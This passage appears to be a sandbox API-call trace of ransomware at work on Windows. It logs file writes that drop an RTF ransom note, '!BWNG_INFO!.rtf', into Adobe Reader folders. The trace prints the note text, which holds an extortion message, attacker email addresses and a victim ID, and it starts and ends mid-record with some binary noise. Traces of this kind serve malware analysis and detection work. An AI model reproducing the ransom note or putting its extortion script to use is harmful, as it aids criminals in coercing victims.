r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n\x0f\x05\x0e\x8d\x1d¡øý\x03ø×=\n?\x06û\x1d÷A÷C÷+\x05Ø\\\x1dûN1\x03\x09", lpUsedDefaultChar=0x0) returned 14086 [0041.885] WriteFile (in: hFile=0x168, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0041.886] CloseHandle (hObject=0x168) returned 1 [0041.886] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\!bwng_info!.rtf")) returned 0xffffffff [0041.886] GetLastError () returned 0x2 [0041.886] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0041.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 